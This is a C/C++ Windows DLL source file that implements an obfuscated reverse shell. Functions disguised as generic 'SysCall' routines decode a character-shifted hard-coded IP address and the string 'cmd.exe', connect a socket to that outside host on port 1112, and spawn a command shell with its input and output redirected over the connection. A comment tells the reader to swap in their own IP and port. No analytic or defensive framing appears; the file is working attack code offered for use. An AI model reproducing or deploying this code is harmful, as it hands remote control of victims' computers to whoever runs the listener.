#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#pragma comment(lib,"Ws2_32.lib")

#ifdef LOAD_DLL
#define LIBRARY_API __declspec(dllimport)
#else
#define LIBRARY_API __declspec(dllexport)
#endif

// Заменить IP и port
#pragma region Network
const unsigned short int lengthIP = 15;
char InternetProtacol[lengthIP] = "036-34-144-104";
int port = 1112;

SOCKADDR_IN addr;
SOCKET Socket;
#ifdef UNICODE
TCHAR cmd[] = L"dne/fyf";
#else
TCHAR cmd[] = "dne/fyf";
#endif
#pragma endregion

#pragma region Load Function From NetDLL
HINSTANCE NetLib;

typedef void (*NetInit)();
typedef void (*MyConnect)(SOCKADDR*, SOCKET*);

NetInit ni;
MyConnect mc;
#pragma endregion



void DecodeIP()
{
	for (int i = 0; i < lengthIP - 1; ++i)
		++InternetProtacol[i];
}

void DecodeCommand()
{
	for (int i = 0; i < 7; ++i)
		--cmd[i];
}

#pragma region System calls
void SysCall1()
{
	NetLib = LoadLibrary(L"NetDLL.dll");
	if (NetLib == nullptr)
		exit(-4);

	ni = (NetInit)GetProcAddress(NetLib, "NetInit");
	if (ni == nullptr)
		exit(-5);
	ni();
	FreeLibrary(NetLib);
}
void SysCall5()
{
	DecodeIP();
	struct hostent* host;
	host = gethostbyname(InternetProtacol);
	strcpy_s(InternetProtacol, lengthIP, inet_ntoa(*((struct in_addr*)host->h_addr)));
}
void SysCall2()
{
	addr.sin_addr.s_addr = inet_addr(InternetProtacol);
	addr.sin_port = htons(port);
	addr.sin_family = AF_INET;
}
void SysCall3()
{
	NetLib = LoadLibrary(L"NetDLL.dll");
	if (NetLib == nullptr)
		exit(-4);

	mc = (MyConnect)GetProcAddress(NetLib, "MyConnect");
	if (mc == nullptr)
		exit(-6);

	Socket = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);

	mc((SOCKADDR*)&addr, &Socket);
	FreeLibrary(NetLib);
}
void SysCall4()
{
	STARTUPINFO ini_processo;
	PROCESS_INFORMATION processo_info;

	memset(&ini_processo, 0, sizeof(ini_processo));
	ini_processo.cb = sizeof(ini_processo);
	ini_processo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
	ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Socket;

	if (Socket == INVALID_SOCKET)
		exit(4);

	DecodeCommand();
	if (!CreateProcess(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &ini_processo, &processo_info))
		exit(5);
}
#pragma endregion

extern "C" void LIBRARY_API SystemCall(int call)
{
	switch (call)
	{
	case 1:
	{
		SysCall1();
	} break;

	case 2:
	{
		SysCall2();
	} break;

	case 3:
	{
		SysCall3();
	} break;

	case 4:
	{
		SysCall4();
	} break;

	case 5:
	{
		SysCall5();
	} break;

	default:{
	} break;
	}
}